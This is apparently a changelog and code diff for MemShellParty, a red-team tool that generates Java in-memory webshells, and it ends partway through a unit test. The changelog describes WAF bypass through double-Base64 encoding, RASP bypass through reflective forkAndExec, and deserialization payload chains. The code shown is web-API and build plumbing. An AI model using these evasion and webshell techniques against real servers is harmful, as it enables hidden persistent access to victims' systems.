**Full Changelog:** [v1.8.0...v1.9.0](https://github.com/ReaJason/MemShellParty/compare/v1.8.0...v1.9.0)
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
### Added
- 支持普元中间件内存马生成(only 6.5 版本)by @ReaJason#60
- 支持哥斯拉 WebSocket 内存马生成与测试
- 添加 Groovy 通用恶意类加载打包方式(用于测试 Jenkins 脚本执行)
- 命令执行支持加密器,双 Base64 测试绕过 WAF 安全设备
### Fixed
- 修复 Jetty 高版本中 ee8 ~ ee10 无法注入(#61
- 修复 Spring Boot 下类加载的原因导致的 Tomcat/Jetty/Undertow 部分内存马注入失败
### Changed
- 命令执行改为反射调用 forkAndExec 以绕过 RASPJDK7+
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.7.0...v1.8.0)
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
### Added
- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason#41
- 支持 CC3、CC4 反序列化 payload 打包方式
- 支持随机参数生成与默认选项(#50
### Changed
- 去除代码混淆相关代码
- 为了更好地在 MavenCentral 展示,重命名部分模块
- 使用 Jackson 代替 Fastjson 降低 boot 打包体积
- 移除 commons-codec 降低 boot 打包体积
- 升级 shadcn/ui 所有 component 代码
**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
> 做代码生成以及代码混淆真是一件需要耐心的事情
### Added
- 支持自定义内存马生成 by @ReaJason#49
- 支持命令回显 ASM Agent 内存马 by @ReaJason#51
- 支持简易的代码混淆 by @ReaJason#13
- 支持自动发布 DEV 分支代码 CD
### Changed
- 简化 Jetty 获取 Context 代码
- 优化 Dockerfile 减小镜像体积
**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
### Added
- 支持 NeoreGeorg 内存马生成 by @ReaJason
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
### Changed
- 简化 Valve 内存马代码
- 升级 Gradle 8.13
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
### Added
- 支持缩小字节码 (移除调试信息) by @ReaJason
- 支持 Tomcat Jakarta WebSocket
### Fixed
- 修复自定义注入器类名不起作用
### Changed
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
### Fixed
- 修复 Tomcat WebSocket 注入报错,无法工作
### Changed
- 添加 foojay-toolchains 插件,支持 Dockerfile 构建时自动下载缺失的 JDK 版本
- 优化构建 Spring Boot 的 Dockerfile,最小权限原则
- 支持一键构建的 Dockerfile,适配需要 NGINX 反代的场景
- 代码重构支持一处注册所有 Server 的 Shell 配置
**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)
## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
### Added
- UI 中打包配置中添加 Loading 状态
### Fixed
- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败
**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
### Added
- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason
### Changed
- 移除无用依赖,JavaSocketGson
- Gradle 升级至 8.12.1
- 更新 TestContainers 和 Junit 的版本
### Fixed
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
### Changed
- UI 增强手机端响应式,增强 i18n 显示 (#39)
### Fixed
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
### Added
- 支持 AntSword 内存马生成 by @ReaJason
- 添加 Java 反序列化其他 CB 版本 Payload 生成
### Changed
- CI 分离单独测试 was7 集成测试,大幅度减少测试时间
- 部分 UI 调整
### Fixed
- 修复随机类名如果为保留字时会无法加载
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
### Added
- 支持 Suo5 内存马生成 by @ReaJason
### Changed
- 升级 TailWind CSS v4
- 分离 i18n EN 和 ZH 为两个 json 文件,方便维护以及 VSCode 插件识别
### Fixed
- 修复 sonner 颜色主题未随着修改而变化
- 修复 IDEA 本地构建 version 一直是 unspecified
**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0)
## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03
### Added
- 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马
- 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型
- 支持哥斯拉、冰蝎、命令执行功能
- 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式
+6 -6
View File
@@ -1,4 +1,4 @@
FROM buildpack-deps:bullseye-scm AS source FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
WORKDIR /usr/src WORKDIR /usr/src
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM oven/bun:1.2.19 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
@@ -14,9 +14,9 @@ ARG CONTEXT_PATH=""
WORKDIR /usr/src/web WORKDIR /usr/src/web
ENV VITE_APP_API_URL=${CONTEXT_PATH} \ ENV VITE_APP_API_URL=${CONTEXT_PATH} \
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH} VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/ COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
RUN bun install --frozen-lockfile RUN bun install --frozen-lockfile
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=17. # https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM eclipse-temurin:17.0.15_6-jdk-noble AS backend FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
WORKDIR /usr/src WORKDIR /usr/src
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
RUN ./gradlew :boot:bootjar -x test RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:17.0.15_6-jre-noble FROM eclipse-temurin:17.0.17_10-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
+10 -29
View File
@@ -1,11 +1,6 @@
<h1 align="center">MemShellParty</h1> <h1 align="center">MemShellParty</h1>
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p> <p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
</div>
<div align="center"> <div align="center">
@@ -17,7 +12,7 @@
<div align="center"> <div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell) [![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news) [![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk)
</div> </div>
> [!WARNING] > [!WARNING]
@@ -29,9 +24,12 @@
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。 MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
![normal_generator](asserts/normal_generator.png) <p align="center">
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
![agent_generator](asserts/agent_generator.png) <img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
<img src="assets/about_page.png" alt="about_page" width="24%">
</p>
## 主要特性 ## 主要特性
@@ -49,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
### 使用前必看 ### 使用前必看
[Java 服务简介.md](./docs/ServerIntro.md),用于了解 MemShellParty [Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。 中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为 探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
@@ -59,9 +57,9 @@ GlassFish,因为它使用的是 GlassFish 进行的二开)。
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门 > 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
可访问(master 分支) [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。 可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
对于正在开发的功能可访问(dev 分支) [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。 对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
### 本地部署(推荐) ### 本地部署(推荐)
@@ -80,23 +78,6 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
``` ```
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
```bash
# 移除之前部署的
docker rm -f memshell-party
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
## User Guide
1. [适配情况](./docs/Compatibility.md)
2. [本地构建](./docs/BuildOnLocal.md)
3. [SDK 集成](./examples/memshell-party-maven-example)
4. [代码贡献](./CONTRIBUTING.md)
## Special Thanks ## Special Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains) - [vulhub/java-chains](https://github.com/vulhub/java-chains)
Binary file not shown.

Before

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 265 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 136 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 236 KiB

@@ -2,7 +2,7 @@ FROM python:3.12-slim
WORKDIR /app WORKDIR /app
RUN pip install requests RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
COPY neoreg.py . COPY neoreg.py .
Binary file not shown.

After

Width:  |  Height:  |  Size: 268 KiB

BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+1 -1
View File
@@ -1,4 +1,4 @@
FROM eclipse-temurin:17.0.14_7-jre-noble FROM eclipse-temurin:17.0.17_10-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
+4 -3
View File
@@ -1,6 +1,6 @@
plugins { plugins {
id("java") id("java")
id("org.springframework.boot") version "3.5.3" id("org.springframework.boot") version "3.5.8"
id("io.spring.dependency-management") version "1.1.7" id("io.spring.dependency-management") version "1.1.7"
} }
@@ -21,9 +21,10 @@ configurations {
} }
} }
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
dependencies { dependencies {
implementation(project(":generator")) { implementation(project(":generator")) {
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
exclude(group = "commons-logging", module = "commons-logging") exclude(group = "commons-logging", module = "commons-logging")
} }
implementation(project(":packer")) { implementation(project(":packer")) {
@@ -34,7 +35,7 @@ dependencies {
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat") exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
} }
implementation(libs.commons.lang3) implementation(libs.commons.lang3)
implementation("org.springframework.boot:spring-boot-starter-jetty") implementation("org.springframework.boot:spring-boot-starter-undertow")
compileOnly("org.projectlombok:lombok") compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools") developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor") annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
@@ -0,0 +1,24 @@
package com.reajason.javaweb.boot.controller;
import org.springframework.asm.ClassReader;
import org.springframework.cglib.core.ClassNameReader;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/11/10
*/
@RestController
@CrossOrigin("*")
public class ClassNameParseController {
@PostMapping("/api/className")
public String className(@RequestBody String classBase64) {
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.vo.CommandConfigVO; import com.reajason.javaweb.boot.vo.CommandConfigVO;
import com.reajason.javaweb.memshell.ServerFactory; import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
@@ -18,7 +17,7 @@ import java.util.*;
* @since 2024/12/13 * @since 2024/12/13
*/ */
@RestController @RestController
@RequestMapping("/config") @RequestMapping("/api/config")
@CrossOrigin("*") @CrossOrigin("*")
public class ConfigController { public class ConfigController {
@@ -27,7 +26,8 @@ public class ConfigController {
Map<String, List<String>> servers = new LinkedHashMap<>(); Map<String, List<String>> servers = new LinkedHashMap<>();
List<String> supportedServers = ServerFactory.getSupportedServers(); List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) { for (String supportedServer : supportedServers) {
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer).getShellInjectorMapping().getSupportedShellTypes(); Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
.getShellInjectorMapping().getSupportedShellTypes();
servers.put(supportedServer, supportedShellTypes.stream().toList()); servers.put(supportedServer, supportedShellTypes.stream().toList());
} }
return servers; return servers;
@@ -46,16 +46,13 @@ public class ConfigController {
List<String> supportedServers = ServerFactory.getSupportedServers(); List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) { for (String supportedServer : supportedServers) {
AbstractServer server = ServerFactory.getServer(supportedServer); AbstractServer server = ServerFactory.getServer(supportedServer);
if (server == null) {
continue;
}
Map<String, Set<String>> map = new LinkedHashMap<>(16); Map<String, Set<String>> map = new LinkedHashMap<>(16);
for (ShellTool shellTool : server.getSupportedShellTools()) { for (String shellTool : server.getSupportedShellTools()) {
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool); Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
if (supportedShellTypes.isEmpty()) { if (supportedShellTypes.isEmpty()) {
continue; continue;
} }
map.put(shellTool.name(), supportedShellTypes); map.put(shellTool, supportedShellTypes);
} }
coreMap.put(supportedServer, map); coreMap.put(supportedServer, map);
} }
@@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.AggregatePacker; import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.jar.JarPacker;
import org.springframework.web.bind.annotation.*; import org.springframework.web.bind.annotation.*;
import java.util.Base64; import java.util.Base64;
@@ -19,7 +19,7 @@ import java.util.Base64;
* @since 2024/12/18 * @since 2024/12/18
*/ */
@RestController @RestController
@RequestMapping("/memshell/generate") @RequestMapping("/api/memshell/generate")
@CrossOrigin("*") @CrossOrigin("*")
public class MemShellGeneratorController { public class MemShellGeneratorController {
@PostMapping @PostMapping
@@ -29,12 +29,12 @@ public class MemShellGeneratorController {
InjectorConfig injectorConfig = request.getInjectorConfig(); InjectorConfig injectorConfig = request.getInjectorConfig();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance(); Packer packer = request.getPacker().getInstance();
if (packer instanceof AggregatePacker) {
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
}
if (packer instanceof JarPacker) { if (packer instanceof JarPacker) {
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig()))); return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
} else if (packer instanceof AggregatePacker) { }
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
} else {
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
} }
}
} }
@@ -15,7 +15,7 @@ import org.springframework.web.bind.annotation.*;
* @since 2025/8/10 * @since 2025/8/10
*/ */
@RestController @RestController
@RequestMapping("/probe/generate") @RequestMapping("/api/probe/generate")
@CrossOrigin("*") @CrossOrigin("*")
public class ProbeShellGeneratorController { public class ProbeShellGeneratorController {
@PostMapping @PostMapping
@@ -22,7 +22,7 @@ import java.util.Map;
*/ */
@RestController @RestController
@CrossOrigin("*") @CrossOrigin("*")
@RequestMapping("/version") @RequestMapping("/api/version")
public class VersionController { public class VersionController {
@Value("${spring.application.version}") @Value("${spring.application.version}")
@@ -1,16 +1,70 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ClassPathResource;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller; import org.springframework.stereotype.Controller;
import org.springframework.util.FileCopyUtils;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/19 * @since 2024/12/19
*/ */
@Controller @Controller
@Slf4j
public class ViewController { public class ViewController {
@GetMapping("/") @GetMapping("/")
public String index(){ public String index(){
return "redirect:/ui";
}
@GetMapping({"/api/search", "/api/search.data"})
@ResponseBody
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
String relativePath = fullPath.substring(1);
return renderFileData(relativePath, response);
}
@GetMapping("/ui/**")
@SneakyThrows
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
return "index"; return "index";
} }
String docPath = fullPath.substring(4);
if (docPath.endsWith(".data")) {
return ResponseEntity.ok(renderFileData(docPath, response));
}
return docPath + "/index";
}
private String renderFileData(String relativePath, HttpServletResponse response) {
try {
String templatePath = "templates/" + relativePath;
ClassPathResource resource = new ClassPathResource(templatePath);
if (!resource.exists()) {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return "File not found: " + relativePath;
}
InputStreamReader reader = new InputStreamReader(
resource.getInputStream(),
StandardCharsets.UTF_8
);
return FileCopyUtils.copyToString(reader);
} catch (IOException e) {
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
return "Error reading file: " + e.getMessage();
}
}
} }
@@ -2,9 +2,9 @@ package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.Data; import lombok.Data;
import org.apache.commons.lang3.StringUtils;
import static com.reajason.javaweb.memshell.ShellTool.*;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,11 +18,12 @@ public class MemShellGenerateRequest {
private Packers packer; private Packers packer;
@Data @Data
static class ShellToolConfigDTO { public static class ShellToolConfigDTO {
private String shellClassName; private String shellClassName;
private String godzillaPass; private String godzillaPass;
private String godzillaKey; private String godzillaKey;
private String commandParamName; private String commandParamName;
private String commandTemplate;
private String behinderPass; private String behinderPass;
private String antSwordPass; private String antSwordPass;
private String headerName; private String headerName;
@@ -36,43 +37,50 @@ public class MemShellGenerateRequest {
return switch (shellConfig.getShellTool()) { return switch (shellConfig.getShellTool()) {
case Godzilla -> GodzillaConfig.builder() case Godzilla -> GodzillaConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8))) .pass(shellToolConfig.getGodzillaPass())
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8))) .key(shellToolConfig.getGodzillaKey())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case Behinder -> BehinderConfig.builder() case Behinder -> BehinderConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8))) .pass(shellToolConfig.getBehinderPass())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case Command -> CommandConfig.builder() case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8))) .paramName(shellToolConfig.getCommandParamName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.template(shellToolConfig.getCommandTemplate())
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
.build(); .build();
case Suo5 -> Suo5Config.builder() case Suo5, Suo5v2 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case AntSword -> AntSwordConfig.builder() case AntSword -> AntSwordConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8))) .pass(shellToolConfig.getAntSwordPass())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case NeoreGeorg -> NeoreGeorgConfig.builder() case NeoreGeorg -> NeoreGeorgConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case Custom -> CustomConfig.builder() case Custom -> CustomConfig.builder()
.shellClassBase64(shellToolConfig.getShellClassBase64()) .shellClassBase64(shellToolConfig.getShellClassBase64())
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.build(); .build();
case Proxy -> ProxyConfig.builder()
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.shellClassName(shellToolConfig.shellClassName).build();
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
}; };
} }
@@ -21,7 +21,7 @@ public class ProbeShellGenerateRequest {
private String server; private String server;
private String sleepServer; private String sleepServer;
private String reqParamName; private String reqParamName;
private String reqHeaderName; private String commandTemplate;
} }
public ProbeContentConfig parseProbeContentConfig() { public ProbeContentConfig parseProbeContentConfig() {
@@ -35,7 +35,7 @@ public class ProbeShellGenerateRequest {
.build(); .build();
case ResponseBody -> ResponseBodyConfig.builder() case ResponseBody -> ResponseBodyConfig.builder()
.reqParamName(probeContentConfig.reqParamName) .reqParamName(probeContentConfig.reqParamName)
.reqHeaderName(probeContentConfig.reqHeaderName) .commandTemplate(probeContentConfig.commandTemplate)
.server(probeContentConfig.server) .server(probeContentConfig.server)
.build(); .build();
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod()); default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
@@ -1,7 +1,7 @@
package com.reajason.javaweb.boot.entity; package com.reajason.javaweb.boot.entity;
import lombok.Data;
import lombok.Builder; import lombok.Builder;
import lombok.Data;
/** /**
* @author ReaJason * @author ReaJason
+3
View File
@@ -2,3 +2,6 @@ spring:
application: application:
name: boot name: boot
version: ${version} version: ${version}
mvc:
pathmatch:
matching-strategy: ant_path_matcher
@@ -0,0 +1,18 @@
package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2025/11/10
*/
class ClassNameParseControllerTest {
@Test
void test(){
ClassNameParseController classNameParseController = new ClassNameParseController();
